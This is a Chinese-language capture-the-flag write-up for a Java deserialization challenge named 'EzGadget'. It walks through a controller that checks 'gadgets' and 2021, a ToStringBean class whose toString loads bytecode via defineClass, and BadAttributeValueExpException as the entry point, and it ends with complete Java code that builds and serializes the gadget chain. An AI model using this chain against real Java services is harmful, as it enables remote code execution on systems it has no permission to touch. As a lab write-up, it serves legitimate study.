EzGadget
题目给了附件
反序列化流
代码审计先看控制器,果然控制器有很奇怪的代码
调用条件name == gadgets ; year == 2021
不过我对java不太熟,所以先百度一下objectInputStream
反序列化流,那么思路就是使传入的data为序列化的exp,然后通过ObjectInputStream反序列化得到结果
defineClass
明确要反序列化的前提下,在ToStringBean类中找到一个toString方法
toString中调用了defineClass,该函数用于将字节码转化为Class
这让我们可以自己写一个恶意类,通过该方法后序列化传入data
//将exp类的字节码传入Byte
byte[] cByte = Tools.base64Decode("exp");
//获取ClassByte,写入ClassByte
ToStringBean toStringBean = new ToStringBean();
Field field = ToStringBean.class.getDeclaredField("ClassByte");
field.setAccessible(true);
field.set(toStringBean,cByte);
搜索toString
到这里我们的目的就变成了找一个可以调用toString的类,也就是反序列化的入口
最后可以找到BadAttributeValueExpException
类
这里val可控,可以是val为ToStringBean类,然后在构造器中调用
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException();
Field field = BadAttributeValueExpException.class.getDeclaredField("val");
field.setAccessible(true);
field.set(badAttributeValueExpException,toStringBean);
最终exp
package com.ezgame.ctf.tools;
import javax.management.BadAttributeValueExpException;
import java.lang.reflect.Field;
public class exp {
public static void main(String[] args) throws Exception {
ToStringBean toStringBean = new ToStringBean();
Field classByte = ToStringBean.class.getDeclaredField("ClassByte");
byte[] cByte = Tools.base64Decode("");
classByte.setAccessible(true);
classByte.set(toStringBean,cByte);
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException("");
Field val = BadAttributeValueExpException.class.getDeclaredField("val");
val.setAccessible(true);
val.set(badAttributeValueExpException,toStringBean);
System.out.println(Tools.base64Encode(Tools.serialize(badAttributeValueExpException)));
}
}
//其中最开始还有两个条件,name合time,写在serialize中
public static byte[] serialize(final Object obj) throws Exception {
ByteArrayOutputStream btout = new ByteArrayOutputStream();
ObjectOutputStream objOut = new ObjectOutputStream(btout);
objOut.writeInt(2021);
objOut.writeUTF("gadgets");
objOut.writeObject(obj);
return btout.toByteArray();
}